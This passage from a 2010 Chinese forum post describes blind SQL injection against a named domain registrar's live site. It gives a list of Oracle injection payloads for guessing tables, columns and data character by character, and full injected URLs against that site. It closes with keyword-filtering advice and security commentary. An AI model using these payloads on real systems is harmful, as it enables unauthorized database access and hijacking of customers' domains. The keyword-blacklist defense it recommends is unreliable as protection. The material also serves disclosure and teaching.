其他的一些危害是显而易见的，并且比较大，我就不再做实际的演示了。
数据库可以说是一个站点的重中之重。通过这个注入漏洞，我们完全可以控制数据库中的数据，不光光是用户帐号的信息，所有存在数据库中的数据，我们都可以获取，体力活而已了。在开放PUBLIC组的UTL_FILE权限的情况下，其实还可以用UNION查询读取服务器上的文件，这点和PHP+MYSQL注入中的load_file()有些相似。当然也可以执行UPDATE之类的。只是在ORACLE注入上，我还是个菜鸟，还没能更新插入数据和进行更高级的注入攻击。而且ORACLE的注入只能一位位的去猜，并且没有自动化的工具。我是利用了NBSI的后台扫描功能和WPE来提高了效率。不过我相信，高手是很多的，自动化的工具也很快就会出现。^_^
这里总结一下一些注入时用到的语句：
0〈〉(select count(*) from all_tables) and ’1’=’1 猜测是否有all_tables系统表，确认注入
0〈〉(select count(*) from user_tab_columns where column_name like ’%25列名关键字%25’) AND ’1’=’1 猜测是否有包含定义关键字的列名
0〈〉(select count(*) from user_tab_columns where column_name like ’%25列名关键字%25’ and substr(table_name，1，1)=’A’) AND ’1’=’1 包含关键列名的表中是否有以A开头的。即开始一位位猜表。
0〈〉(select count(*) from user_tables where table_name like ’%25表名关键字%25’ and length(table_name)=N) and ’1’=’1 猜测包表名含有关键字的表的长度
0〈〉(select count(*) from user_tab_columns where table_name=’表名’ and substr(column_name，1，1)=’A’) AND ’1’=’1 猜测列名
0〈〉(select count(*) from 表名 where 列名1=’XXXXXXXX’ and substr(列名2，1，1)=’a’) AND ’1’=’1 猜测数据
那么，ORACLE注入漏洞的原理是什么呢？这里我就简单的介绍一下。就拿我们注入的这个页面来说。 http://www.net.cn/HAS_Client/buy ... asp?PackageID=10341
在ASP程序的源码中的查询语句可能是：
select * from TABLE where PACKAGEID =’10341’
因为作为一个非开源程序的攻击者来说，我们无从知道ASP程序中的源码究竟是什么样子的，只能通过返回的错误信息来判断大概的结构。所以这里我是举个大概的样子。
闲话少说。我们一起来分析。当我们访问这个页面时，ASP程序就根据URL中提交的参数10341去查询了TABLE表中PACKAGEID为10341的数据并且把它返回给我们。从我们测试的情况看，这个参数并没有做过滤就放到了查询语句中，这就给我们的注入提供了条件。当我们提http://www.net.cn/HAS_Client/buy ... asp?PackageID=10341’and 0<>(select count(*) from all_tables) and ‘1’=’1 时。在ASP程序中的查询语句就变成了这样：
select * from TABLE where PACKAGEID =’10341’ and 0<>(select count(*) from all_tables) and ‘1’=’1’
这样我们就成功的把我们想执行的查询语句插入了ASP程序原来的查询语句中。这里和MSSQL有所不同的是，我们不能用—符号将后面的语句注释掉，后面的and ‘1’=’1就是为了匹配多出来的那个引号，从而使整个查询语句成立，正常返回页面。比如提http://www.net.cn/HAS_Client/buy ... asp?PackageID=10341’and 0<>(select count(*) from all_tables) and ‘1’=’1’ and ‘x’=’x 整个页面也是正常返回的^_^。
其实要防止这种注入很简单，只要对在URL中提交的参数进行严格的过滤，去除一些比如单引号，SQL关键字等不应该出现的字符，应该来说，攻击者就没有什么机会了。具体的做法可以是检查提交的URL中？号后面的字符串，发现有单引号，分号，SQL关键字等不该出现的字符的，马上就跳转到一个自定义的ERROR页面。个人认为这样是比较好的方法。尤其对于非开源程序的攻击者来说，几乎就是绝路了。
网络安全是多方面的，每个环节都必须要时刻注意。可以用一个链条来做比喻，如果这个链条中任意一个环节出了问题，那么整个链就断了。就像万网的这个漏洞，虽然只是一个很小很小的问题，但是其影响是很大的，可以轻易的改变万网客户域名指向。如果我把很多的域名都指向某个站点，那这个站点就相当于瘫掉了。所以网络上的安全不是某家或者某些人的事情，而是需要我们整体从上到下都去做好，才可以。另外，自从经历了许许多多的蠕虫，病毒的攻击以后，大家普遍对自己服务器的安全关注起来，装FW,IDS，电信也参与进来封了一些端口。有些站点甚至就只开了80口。那么在服务器上运行的代码的安全，就显得格外的重要了。一个小小地方的小小疏忽，就有可能造成全局的崩溃。防御技术在不断进步，攻击手段也在不断翻新。今天有SQL注入，明天又会出现什么呢？时刻关注最新的攻击手段，我想对于一个优秀的管理员是非常重要的。遗憾的是现在有许多程序员在编写代码时还没有一个安全意识，而管理员只是把写好的代码放到服务器上，管好服务器的安全（我们公司也是这样，呵呵），代码的编写漏洞，就成为了一个突破口。我从高中就开始关注安全的问题，现在也在从事这方面的工作。可以说现在的网络比起以前，安全了太多太多，但是技术在进步，今天的安全不代表明天的安全。安全是一个永恒的话题。我个人的感觉是，那些蠕虫，病毒，是加强网管们安全意识的最有力武器，同样我相信，利用代码缺陷的攻击，也会加强程序员们编写代码时的安全意识。^_^
最后，希望万网解决这个漏洞，对于专家们来说，我想解决这个问题也许只要花不到5分钟。另外，加强一下自己数据库的数据安全，加个密吧。还有，你们的邮件服务器没问题吧？顺便提一下，国内还有很多站点有这样的注入漏洞，比如XX之家，XX部等：）作者: 冷酷鲨鱼 时间: 2010-4-16 21:21
